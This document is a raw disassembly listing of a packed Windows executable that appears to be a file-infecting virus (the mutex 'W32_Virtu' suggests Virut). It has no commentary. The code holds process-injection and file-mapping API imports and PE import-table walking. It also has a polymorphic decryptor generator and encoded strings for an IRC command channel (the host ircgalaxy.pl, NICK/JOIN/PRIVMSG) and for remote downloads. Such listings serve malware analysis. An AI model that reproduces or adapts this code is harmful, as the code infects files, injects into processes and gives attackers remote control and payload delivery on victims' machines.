		push	1
		push	eax
		push	10001h
		call	dword ptr ss:loc_403550[ebp]
		push	1000Ah
		call	dword ptr ss:loc_403550[ebp]
		call	sub_43A528
		jmp	loc_43A37C

; =============== S U B	R O U T	I N E =======================================



sub_43A528	proc near		; CODE XREF: .RLPack:0043A51Ep
					; sub_43A528+Dj
		push	1
		pop	ecx
		jecxz	short locret_43A537
		push	0Ah
		call	dword ptr [ebp+4035BCh]
		jmp	short sub_43A528
; ---------------------------------------------------------------------------

locret_43A537:				; CODE XREF: sub_43A528+3j
		retn
sub_43A528	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A34F


loc_43A538:				; CODE XREF: sub_43A34F+10Fj
		cmp	dword ptr [ebp+403570h], 0
		jz	loc_43A37C
		call	near ptr loc_43A54F+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_43A54F:				; CODE XREF: sub_43A34F+1F6p
		add	bh, bh
		xchg	eax, ebp
		mov	ds:0B58D0040h, dh
		jnb	short near ptr loc_43A56C+5
		inc	eax
		add	[ebx], dh
		leave
		lea	edi, [ebp+4035D0h]
		mov	cl, 0Bh
		xchg	eax, ebx
		call	sub_43A7B2


loc_43A56C:				; CODE XREF: sub_43A34F+209j
		cmp	dword ptr [ebp+4035F8h], 0
		jz	loc_43A37C
		mov	eax, [ebp+4035D4h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+403395h]
		mov	eax, [ebp+4035E8h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E2h]
		mov	eax, dword ptr ss:loc_4035D8[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E9h]
		mov	ecx, [ebp+4035DCh]
		jecxz	short loc_43A5B7
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+4033F6h]


loc_43A5B7:				; CODE XREF: sub_43A34F+25Dj
		call	loc_43A3AE
		lea	edi, [ebp+40364Eh]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+40159Fh]
		mov	ecx, 1Ch
		mov	edx, esp
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah


loc_43A5FC:				; CODE XREF: sub_43A34F+2B0j
		lodsb
		stosw
		loop	loc_43A5FC
		push	0
		push	69CEh
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+4035E0h]
		pop	eax
		add	esp, 40h
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_43A37C
		lea	esi, sub_401000[ebp]
		mov	ecx, 0A74h
		mov	ebp, edi
		rep movsd
		sub	ebp, offset sub_401000
		lea	eax, [ebp+40144Ch]
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_43A34F
; ---------------------------------------------------------------------------
		dw 958Dh
		dd offset loc_4018DF+1
		dd 9C95FF52h, 0E8004035h, 16h
aLookupprivileg	db 'LookupPrivilegeValueA',0
		dw 0FF50h
		dd 40354895h, 4C858900h, 50004035h, 6A206A54h, 0EC95FFFFh
		dd 85004035h, 3F755FC0h, 56026A96h, 6AD48B56h, 11E85201h
		dd 53000000h, 62654465h, 72506775h, 6C697669h, 656765h
		dd 4C95FF56h, 8B004035h, 565656C4h, 0FF575650h,	4035D095h
		dd 10C48300h, 3C95FF57h, 6A004035h, 0FF026A00h,	40357095h
		dd 128B900h, 2B970000h,	240C89E1h, 95FF5754h, 4035ACh
		dd 0A583F633h, 40363Ch,	0FF575400h, 4035B095h, 74C08500h
		dd 0FE83465Ch, 0FFEE7204h, 6A082474h, 0FF2A6A00h, 4035A895h
		dd 74C08500h, 3DE893DCh, 33000004h, 30E391C9h, 363C8539h
		dd 28750040h, 0DAEC181h, 54500000h, 50515650h, 95FF5350h
		dd 403568h, 7459C085h, 2474FF0Fh, 3C858F08h, 0E8004036h
		dd 0FFFFFDACh, 3C95FF53h, 0EB004035h, 28C48198h, 57000001h
		dd 353C95FFh, 0E5E90040h, 8DFFFFFBh, 58580049h,	29CE0058h
		dd 0D650000h, 3	dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43A7B2	proc near		; CODE XREF: sub_43A34F+100p
					; sub_43A34F+218p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+403548h]
		stosd
		pop	ecx


loc_43A7BD:				; CODE XREF: sub_43A7B2+Ej
		lodsb
		test	al, al
		jnz	short loc_43A7BD
		loop	sub_43A7B2
		retn
sub_43A7B2	endp

; ---------------------------------------------------------------------------
aBasenamedobjec	db '\BaseNamedObjects\W32_Virtu',0
aLstrlen	db 'lstrlen',0
aCreatefilea_0	db 'CreateFileA',0
aCreatefilema_0	db 'CreateFileMappingA',0
aCreateproces_0	db 'CreateProcessA',0
aCreateremoteth	db 'CreateRemoteThread',0
aCreatethread_0	db 'CreateThread',0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0
aExitthread	db 'ExitThread',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
aGetfileattribu	db 'GetFileAttributesA',0
aGetfilesize	db 'GetFileSize',0
aGetfiletime	db 'GetFileTime',0
aGetmodulehandl	db 'GetModuleHandleA',0
aGettempfilenam	db 'GetTempFileNameA',0
aGettemppatha	db 'GetTempPathA',0
aGetversion	db 'GetVersion',0
aGetversionexa	db 'GetVersionExA',0
aLoadlibrarya	db 'LoadLibraryA',0
aMapviewoffile	db 'MapViewOfFile',0
aOpenfilemappin	db 'OpenFileMappingA',0
aOpenprocess	db 'OpenProcess',0
aProcess32first	db 'Process32First',0
aProcess32next	db 'Process32Next',0
aSetfileattribu	db 'SetFileAttributesA',0
aSetfiletime_0	db 'SetFileTime',0
aSleep		db 'Sleep',0
aSystemtimetofi	db 'SystemTimeToFileTime',0
aUnmapviewoff_0	db 'UnmapViewOfFile',0
aVirtualalloc	db 'VirtualAlloc',0
aWritefile	db 'WriteFile',0
aNtadjustprivil	db 'NtAdjustPrivilegesToken',0
aNtcreatefile	db 'NtCreateFile',0
aNtcreateproces	db 'NtCreateProcess',0
aNtcreateproc_0	db 'NtCreateProcessEx',0
aNtcreatesectio	db 'NtCreateSection',0
aNtmapviewofsec	db 'NtMapViewOfSection',0
aNtopenfile	db 'NtOpenFile',0
aNtopenprocesst	db 'NtOpenProcessToken',0
aNtprotectvirtu	db 'NtProtectVirtualMemory',0
aNtwritevirtual	db 'NtWriteVirtualMemory',0
aRtlunicodestri	db 'RtlUnicodeStringToAnsiString',0
aWsastartup	db 'WSAStartup',0
aClosesocket	db 'closesocket',0
aConnect	db 'connect',0
aGethostbyname	db 'gethostbyname',0
aRecv		db 'recv',0
aSend_0		db 'send',0
aSocket		db 'socket',0
aInternetcloseh	db 'InternetCloseHandle',0
aInternetgetc_0	db 'InternetGetConnectedState',0
aInternetopena	db 'InternetOpenA',0
aInternetopenur	db 'InternetOpenUrlA',0
aInternetreadfi	db 'InternetReadFile',0
aAdvapi32_dll_0	db 'ADVAPI32.DLL',0
aRegclosekey_0	db 'RegCloseKey',0
aRegopenkeyexa	db 'RegOpenKeyExA',0
aRegqueryvaluee	db 'RegQueryValueExA',0
aRegsetvalueexa	db 'RegSetValueExA',0

; =============== S U B	R O U T	I N E =======================================



sub_43AB4D	proc near		; CODE XREF: .RLPack:0043ABF4p
					; .RLPack:0043AC05p ...

var_5		= byte ptr -5

		sub	ecx, 5
		sub	ecx, eax
		push	ecx
		push	0E8000000h
		lea	ecx, [esp+8+var_5]
		push	0
		push	5
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax
		push	esp
		push	40h
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [ebp+4035F0h]
		add	esp, 0Ch
		call	dword ptr ss:loc_4035F4[ebp]
		add	esp, 8
		retn
sub_43AB4D	endp

; ---------------------------------------------------------------------------
		push	edi
		lea	eax, [ebp+4015B1h]
		xor	edi, edi
		push	eax
		push	0
		push	0Eh
		call	dword ptr ss:loc_4035A4[ebp]
		test	eax, eax
		jz	loc_43AC30
		push	eax
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	100000h
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	ebx
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		call	dword ptr [ebp+40353Ch]
		test	edi, edi
		jz	short loc_43AC30
		mov	ecx, [ebp+401588h]
		jecxz	short loc_43ABE8
		lea	edx, sub_401000[ebp]
		add	edx, ecx
		push	edi
		push	ebx
		call	edx


loc_43ABE8:				; CODE XREF: .RLPack:0043ABDAj
		mov	eax, [ebp+4035D4h]
		lea	ecx, [edi+2394h]
		call	sub_43AB4D
		mov	eax, [ebp+4035E8h]
		lea	ecx, [edi+23E1h]
		call	sub_43AB4D
		mov	eax, dword ptr ss:loc_4035D8[ebp]
		lea	ecx, [edi+23E8h]
		call	sub_43AB4D
		mov	eax, [ebp+4035DCh]
		test	eax, eax
		jz	short loc_43AC30
		lea	ecx, [edi+23F5h]
		call	sub_43AB4D


loc_43AC30:				; CODE XREF: .RLPack:0043AB9Aj
					; .RLPack:0043ABD2j ...
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 401A14h
		xor	ecx, ecx
		lea	eax, [ebp+401DAEh]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr [ebp+40356Ch]
		xchg	eax, [esp]
		call	dword ptr [ebp+40353Ch]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 55h
		dd 0E8h, 0ED815D00h, 401A43h, 958DFF6Ah, 401A0Eh, 20CD5250h
		dd 2A0024h, 660CC483h, 1A5485C7h, 20CD0040h, 1A5685C7h
		dd 240040h, 0C35D002Ah,	16A016Ah, 73FF33FFh, 8515FF04h
		dd 68F074C0h, 0Bh, 35BD08Bh, 0B58D3C50h, 401A72h, 10CBA8Bh
		dd 8A8B0000h, 108h, 0CB2BF803h,	0F3CB8B60h, 57461A6h, 0EBF5E247h
		dd 0FC783C2h, 53D48B57h, 5450CC8Bh, 5251406Ah, 95FFFF6Ah
		dd 4035F0h, 8B0CC483h, 40357495h, 83D72B00h, 7C707EAh
		dd 0E8006Ah, 0C3035789h, 0E8581A6Ah, 9,	0AA61428Dh, 0F075C9FEh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43AD15	proc near		; CODE XREF: sub_43B580+1Bp
					; sub_43B6F8+3p ...
		imul	edx, [ebp+403646h], 8088405h
		inc	edx
		mov	[ebp+403646h], edx
		mul	edx
		retn
sub_43AD15	endp

; ---------------------------------------------------------------------------
		db 55h,	0E8h, 0
		dd 5D000000h, 1B09ED81h, 9D8B0040h, 40364Ah, 8247C83h
		dd 0B9840F00h, 81000000h, 208ECh, 4685400h, 0FF000001h
		dd 40359095h, 8DFC8B00h, 1042484h, 6A500000h, 4E800h, 52560000h
		dd 0FF570054h, 40358C95h, 8DC93300h, 10497h, 6A515100h
		dd 16A5102h, 68h, 95FF5240h, 40355Ch, 74F68596h, 6854505Bh
		dd 104h, 24B4FF57h, 220h, 362895FFh, 85590040h,	0E31674C0h
		dd 0D48B5014h, 5152006Ah, 95FF5657h, 4035CCh, 75C08559h
		dd 95FF56D0h, 40353Ch, 5244578Dh, 58446A57h, 104978Dh
		dd 33AB0000h, 59106AC0h, 5050ABF3h, 50505050h, 95FF5250h
		dd 403564h, 208C481h, 74FF0000h, 95FF0824h, 403618h, 1895FF53h
		dd 5D004036h, 800004C2h, 1750A3Eh, 848D8B46h, 0E3004015h
		dd 958D19h, 3004010h, 0D2FF56D1h, 880FC084h, 11Fh, 110840Fh
		dd 3E800000h, 4610753Ah, 0F003E80h, 10184h, 203E8000h
		dd 8146F175h, 4E49503Eh, 8B427547h, 146C6CFh, 51CE2B4Fh
		dd 5651006Ah, 1095FF53h, 59004036h, 850FC13Bh, 0DFh, 1DA2858Dh
		dd 6A0040h, 0C68h, 0FF535000h, 40361095h, 0C3D00h, 850F0000h
		dd 0BFh, 0B1E9h, 503E8100h, 0F564952h, 0A585h, 8C68300h
		dd 0F0D3CACh, 9984h, 75203C00h,	3A3CACF3h, 8C850Fh, 0DAD0000h
		dd 20202020h, 6567213Dh, 0AC7F7574h, 7C75203Ch,	20FF7E81h
		dd 75747468h, 37E8171h,	2F2F3A70h, 47C66875h, 310F00FFh
		dd 2710BAh, 52E2F700h, 35BC95FFh, 0C0330040h, 50505050h
		dd 9E8h, 776F4400h, 616F6C6Eh, 95FF0064h, 403620h, 3674C085h
		dd 8589C933h, 40364Ah, 2006851h, 51518000h, 95FF5056h
		dd 403624h, 1B03958Dh, 33500040h, 505154C9h, 0FF515152h
		dd 40356C95h, 24048700h, 353C95FFh, 0C3F80040h,	15778D80h
		dd 0F9010040h, 464F53C3h, 52415754h, 694D5C45h,	736F7263h
		dd 5C74666Fh, 646E6957h, 5C73776Fh, 72727543h, 56746E65h
		dd 69737265h, 455C6E6Fh, 6F6C7078h, 726572h, 67726154h
		dd 6F487465h, 2007473h,	0F0FF00h, 70000000h, 69786F72h
		dd 72692E6Dh, 6C616763h, 2E797861h, 4E006C70h, 204B4349h
		dd 74616E74h, 73736768h, 4553550Ah, 30642052h, 30353032h
		dd 202E2031h, 2D3A202Eh, 4E494F4Ah, 69762620h, 0A757472h
		dd 0E855h, 815D0000h, 401DB4EDh, 7785C600h, 4015h, 359495FFh
		dd 0E8C10040h, 6A3C741Fh, 50B58B1Eh, 59004035h,	752E3CACh
		dd 3E81662Ah, 23751DFFh, 3640BD8Dh, 768B0040h, 66A55702h
		dd 6A858DA5h, 8F004033h, 40339085h, 4689FA00h, 0FE4E8CFAh
		dd 0E201B1FBh, 8D43EBCFh, 4015B185h, 6A5000h, 95FF0E6Ah
		dd 4035A4h, 8247C83h, 0E82B7504h, 4, 434653h, 358895FFh
		dd 48E80040h, 0E8FFFFFCh, 7, 5F434653h,	0FF00534Fh, 40358895h
		dd 0FC31E800h, 56E8FFFFh, 0FFFFFFF3h, 4013038Dh, 0BE800h
		dd 53550000h, 32335245h, 4C4C442Eh, 9C95FF00h, 0E8004035h
		dd 0Ah,	72707377h, 66746E69h, 0FF500041h, 40354895h, 54858900h
		dd 0F004035h, 0E08D8D31h, 89004018h, 40364685h,	95FF5100h
		dd 40359Ch, 46893h, 0B58D0000h,	4018EDh, 2CBD8D59h, 0E8004036h
		dd 0FFFFF6D6h, 6785C766h, 0FF00401Dh, 69A583F0h, 401Dh
		dd 1D27958Dh, 54500040h, 6A016Ah, 26852h, 95FF8000h, 403630h
		dd 755AC085h, 5A8D8D22h, 5200401Dh, 0B58D066Ah,	401D67h
		dd 50505654h, 95FF5251h, 403634h, 2C95FF58h, 0C6004036h
		dd 40384D85h, 0CE80000h, 57000000h, 4B434F53h, 442E3233h
		dd 0FF004C4Ch, 40359C95h, 7689300h, 8D000000h, 401844B5h
		dd 0BD8D5900h, 4035FCh,	0FFF651E8h, 0CE8FFh, 49570000h
		dd 454E494Eh, 4C442E54h, 95FF004Ch, 40359Ch, 840FC085h
		dd 1E7h, 56893h, 0B58D0000h, 401882h, 18BD8D59h, 0E8004036h
		dd 0FFFFF61Ah, 361CBD83h, 0F000040h, 1C284h, 90EC8100h
		dd 54000001h, 10168h, 0FC95FF00h, 81004035h, 190C4h, 0D48B5000h
		dd 0FF52006Ah, 40361C95h, 59C08500h, 88680D75h,	0FF000013h
		dd 4035BC95h, 83E2EB00h, 401D69BDh, 29750000h, 1D6D858Dh
		dd 0FF500040h, 40360895h, 0FC08500h, 13B84h, 0C408B00h
		dd 30FF008Bh, 1D69858Fh, 85C60040h, 40384Dh, 6A006A01h
		dd 0FF026A01h, 40361495h, 0FFF88300h, 112840Fh,	8D930000h
		dd 401D6595h, 52106A00h, 495FF53h, 85004036h, 0F2850FC0h
		dd 8D000000h, 401D86BDh, 0E808B100h, 0FFFFFABCh, 9468h
		dd 0E62B5E00h, 54243489h, 359895FFh, 0BD8D0040h, 401D94h
		dd 9DE801B1h, 8BFFFFFAh, 0C1102444h, 440B08E0h,	0E0C10424h
		dd 24440B08h, 5E85008h,	25000000h, 78362Eh, 5495FF57h
		dd 83004035h, 47C60CC4h, 958D2006h, 401D81h, 2168006Ah
		dd 52000000h, 1095FF53h, 8D004036h, 5714247Ch, 355895FFh
		dd 4C60040h, 6A400A38h,	53575000h, 361095FFh, 0E6030040h
		dd 1DA2BD8Dh, 6A0040h, 0C68h, 0FF535700h, 40361095h, 0C3D00h
		dd 4D750000h, 364EB58Dh, 8D8D0040h, 40384Dh, 6ACE2Bh, 0FF535651h
		dd 40360C95h, 0F88300h,	8B912F7Eh, 4EB58DFEh, 0B0004036h
		dd 75AEF20Dh, 0F8E86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh
		dd 2BCF8BEAh, 4EBD8DCEh, 0F3004036h, 0EBF787A4h, 95FF53B9h
		dd 403600h, 1577BD80h, 74010040h, 7530682Ah, 95FF0000h
		dd 4035BCh, 384DBD80h, 74000040h, 6985C711h, 401Dh, 0C6000000h
		dd 40384D85h, 56E90000h, 0C7FFFFFEh, 40158085h,	0
		dd 4C25D80h, 4F0A0D00h,	6F6F6E20h, 666F206Eh, 66696C20h
		dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h
		dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h
		dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h
		dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h
		dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h
		dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh
		dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h
		dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h
		dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h
		dd 656D6974h, 74492021h, 6C207327h, 21657461h, 84040A0Dh
		dd 141330C7h, 0F96A10A6h, 79ED606Eh, 0A1A84FD4h, 52484CA2h
		dd 25964037h, 0FAE56E23h, 0AD4727B1h, 14296299h, 0C17E10A6h
		dd 0A6841A73h, 75E2F8C4h, 0F98098A4h, 5957606Eh, 0CC5C3AABh
		dd 0B352C26Ch, 0D8B8h, 0Eh dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43B4CA	proc near		; CODE XREF: sub_43B511:loc_43B56Ep
					; sub_43B5D1+7p ...

arg_0		= dword	ptr  4

		pusha
		and	dword ptr [ebp+4039A6h], 0
		and	dword ptr ss:loc_4039AA[ebp], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_43B4E6:				; CODE XREF: sub_43B4CA+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_43B508
		cmp	eax, [edx+8]
		jnb	short loc_43B508
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	[ebp+4039A6h], edx
		mov	dword ptr ss:loc_4039AA[ebp], eax
		jmp	short loc_43B50D
; ---------------------------------------------------------------------------


loc_43B508:				; CODE XREF: sub_43B4CA+23j
					; sub_43B4CA+28j
		add	edx, 28h
		loop	loc_43B4E6


loc_43B50D:				; CODE XREF: sub_43B4CA+3Cj
		popa
		retn	4
sub_43B4CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B511	proc near		; CODE XREF: .RLPack:0043B83Dp
					; .RLPack:0043B863p
		mov	byte ptr ss:loc_4022F7[ebp], al
		call	sub_43B580
		push	20h
		lea	eax, [ebp+402224h]
		pop	ecx


loc_43B528:				; CODE XREF: sub_43B511+1Ej
		cmp	[eax], ebx
		jz	short loc_43B538
		add	eax, 4
		loop	loc_43B528
		inc	dword ptr [ebp+40398Eh]
		retn
; ---------------------------------------------------------------------------


loc_43B538:				; CODE XREF: sub_43B511+19j
		neg	ecx
		add	ecx, dword ptr ss:loc_4022F7[ebp]
		jecxz	short loc_43B552


loc_43B542:				; CODE XREF: sub_43B511+39j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_43B542
		mov	[ebp+402224h], ebx


loc_43B552:				; CODE XREF: sub_43B511+2Fj
					; sub_43B580+34j
		cmp	dword ptr [edx], 0
		jz	short loc_43B55C
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_43B55C:				; CODE XREF: sub_43B511+44j
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_43B56B
		push	dword ptr [edx]
		jmp	short loc_43B56E
; ---------------------------------------------------------------------------


loc_43B56B:				; CODE XREF: sub_43B511+54j
		push	dword ptr [edx+10h]


loc_43B56E:				; CODE XREF: sub_43B511+58j
		call	sub_43B4CA
		sub	ecx, esi
		sub	ecx, dword ptr ss:loc_4039AA[ebp]
		pop	eax
		add	ecx, [ebx+34h]
		retn
sub_43B511	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43B580	proc near		; CODE XREF: sub_43B511+6p
		pop	dword ptr [ebp+403992h]
		mov	dword ptr [ebp+40398Eh], 0
		call	sub_43B5D1
		mov	eax, [ebp+40398Eh]
		call	sub_43AD15
		call	sub_43B5BD
		cmp	dword ptr [ebp+40398Eh], 0
		jnz	short loc_43B5B6
		mov	dword ptr ss:loc_4022A0[ebp], ebx
		jmp	short loc_43B552
; ---------------------------------------------------------------------------


loc_43B5B6:				; CODE XREF: sub_43B580+2Cj
		dec	dword ptr [ebp+40398Eh]
		retn
sub_43B580	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43B5BD	proc near		; CODE XREF: sub_43B580+20p
		pop	dword ptr [ebp+403992h]
		mov	[ebp+40398Eh], edx
		call	sub_43B5D1
		xor	ecx, ecx
		retn
sub_43B5BD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43B5D1	proc near		; CODE XREF: sub_43B580+10p
					; sub_43B5BD+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_43B4CA
		add	edx, dword ptr ss:loc_4039AA[ebp]
		add	edx, esi


loc_43B5E5:				; CODE XREF: sub_43B5D1+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_43B6F6
		cmp	dword ptr [edx+10h], 0
		jz	locret_43B6F6
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_43B4CA
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, esi
		push	eax


loc_43B60B:				; CODE XREF: sub_43B5D1+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_43B62B
		cmp	cl, 2Eh
		jz	short loc_43B61A


loc_43B617:				; CODE XREF: sub_43B5D1+58j
		inc	eax
		jmp	short loc_43B60B
; ---------------------------------------------------------------------------


loc_43B61A:				; CODE XREF: sub_43B5D1+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, 4C4C44h
		jnz	short loc_43B617


loc_43B62B:				; CODE XREF: sub_43B5D1+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_43B6EE
		cmp	word ptr [eax-2], 3233h
		jnz	loc_43B6EE
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_43B64E
		mov	ecx, [edx+10h]
		jmp	short loc_43B650
; ---------------------------------------------------------------------------


loc_43B64E:				; CODE XREF: sub_43B5D1+76j
		mov	ecx, [edx]


loc_43B650:				; CODE XREF: sub_43B5D1+7Bj
		add	esi, ecx
		push	ecx
		call	sub_43B4CA
		add	esi, dword ptr ss:loc_4039AA[ebp]


loc_43B65E:				; CODE XREF: sub_43B5D1+90j
					; sub_43B5D1+117j
		lodsd
		test	eax, eax
		js	short loc_43B65E
		jz	loc_43B6ED
		push	dword ptr ss:loc_4039AA[ebp]
		push	eax
		call	sub_43B4CA
		add	eax, dword ptr ss:loc_4039AA[ebp]
		pop	dword ptr ss:loc_4039AA[ebp]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_43B68A:				; CODE XREF: sub_43B5D1+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_43B6A1
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_43B68A
; ---------------------------------------------------------------------------


loc_43B6A1:				; CODE XREF: sub_43B5D1+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_43B6E7
		cmp	ebx, 0DB6E45A8h
		jz	short loc_43B6E7
		cmp	ebx, 0FFA13B59h
		jz	short loc_43B6E7
		cmp	ebx, 0ACB522D6h
		jz	short loc_43B6E7
		cmp	ebx, 0F358E993h
		jz	short loc_43B6E7
		cmp	ebx, 0F358E97Dh
		jz	short loc_43B6E7
		cmp	ebx, 0E1253F46h
		jz	short loc_43B6E7
		cmp	ebx, 0E1253F30h
		jz	short loc_43B6E7
		call	dword ptr [ebp+403992h]


loc_43B6E7:				; CODE XREF: sub_43B5D1+D6j
					; sub_43B5D1+DEj ...
		pop	ebx
		jmp	loc_43B65E
; ---------------------------------------------------------------------------


loc_43B6ED:				; CODE XREF: sub_43B5D1+92j
		pop	esi


loc_43B6EE:				; CODE XREF: sub_43B5D1+60j
					; sub_43B5D1+6Cj
		add	edx, 14h
		jmp	loc_43B5E5
; ---------------------------------------------------------------------------

locret_43B6F6:				; CODE XREF: sub_43B5D1+18j
					; sub_43B5D1+22j
		retn
sub_43B5D1	endp

; ---------------------------------------------------------------------------
		db 1

; =============== S U B	R O U T	I N E =======================================



sub_43B6F8	proc near		; CODE XREF: .RLPack:0043B836p
					; .RLPack:0043B85Cp
		push	4
		pop	eax
		call	sub_43AD15
		mov	[ebp+4024D1h], dl
		mov	ax, 1831h
		add	ah, dl
		shl	ah, 3
		add	ah, dl
		stosw
		push	6
		pop	eax
		call	sub_43AD15
		add	edx, 8
		xchg	edx, ecx


loc_43B720:				; CODE XREF: sub_43B6F8:loc_43B75Fj
		push	5
		pop	eax
		call	sub_43AD15
		cmp	dl, 3
		jnb	short loc_43B738
		mov	al, 50h
		add	al, [ebp+4024D1h]
		stosb
		jmp	short loc_43B75F
; ---------------------------------------------------------------------------


loc_43B738:				; CODE XREF: sub_43B6F8+33j
		push	68h
		pop	eax
		stosb
		cmp	dl, 3
		jnz	short loc_43B759
		mov	al, 11h
		call	sub_43AD15
		mov	eax, 1


loc_43B74D:				; CODE XREF: sub_43B6F8+5Dj
		test	dl, dl
		jz	short loc_43B75E
		shl	eax, 1
		dec	dl
		jmp	short loc_43B74D
; ---------------------------------------------------------------------------
		jmp	short loc_43B75E
; ---------------------------------------------------------------------------


loc_43B759:				; CODE XREF: sub_43B6F8+47j
		mov	eax, 80000000h


loc_43B75E:				; CODE XREF: sub_43B6F8+57j
					; sub_43B6F8+5Fj
		stosd


loc_43B75F:				; CODE XREF: sub_43B6F8+3Ej
		loop	loc_43B720
		retn
sub_43B6F8	endp

; ---------------------------------------------------------------------------


loc_43B762:				; CODE XREF: sub_43C1BC+112p
		lea	edi, [ebp+40343Ch]
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_43B777
		mov	al, 60h
		stosb


loc_43B777:				; CODE XREF: .RLPack:0043B772j
		test	dword ptr [ebp+403431h], 1000003h
		jz	loc_43B87D
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	near ptr 0BDCD633Bh
		xchg	eax, esi
		cmp	[eax+0], eax
		mov	al, 0E8h
		stosb
		stosd
		test	dword ptr [ebp+403431h], 1000000h
		mov	[ebp+40399Ah], edi
		jz	short loc_43B7F5
		test	dword ptr [ebp+403431h], 2000000h
		mov	eax, 36FF6467h
		jnz	short loc_43B7C0
		mov	eax, 2E8B6467h


loc_43B7C0:				; CODE XREF: .RLPack:0043B7B9j
		stosd
		mov	ax, 0
		stosw
		jz	short loc_43B7CC
		mov	al, 5Dh
		stosb


loc_43B7CC:				; CODE XREF: .RLPack:0043B7C7j
		test	dword ptr [ebp+403431h], 8000000h
		mov	eax, 86D8Dh
		jnz	short loc_43B7F3
		test	dword ptr [ebp+403431h], 4000000h
		mov	eax, 8C583h
		jz	short loc_43B7F3
		mov	eax, 0F8ED83h


loc_43B7F3:				; CODE XREF: .RLPack:0043B7DBj
					; .RLPack:0043B7ECj
		stosd
		dec	edi


loc_43B7F5:				; CODE XREF: .RLPack:0043B7A8j
		test	dword ptr [ebp+403431h], 3
		jz	short loc_43B805
		mov	al, 0E9h
		stosb
		stosd


loc_43B805:				; CODE XREF: .RLPack:0043B7FFj
		mov	eax, dword ptr ss:loc_403996[ebp]
		mov	ecx, edi
		sub	ecx, eax
		mov	[eax-4], ecx
		test	dword ptr [ebp+403431h], 3
		jz	short loc_43B87D
		mov	eax, 36FF6467h
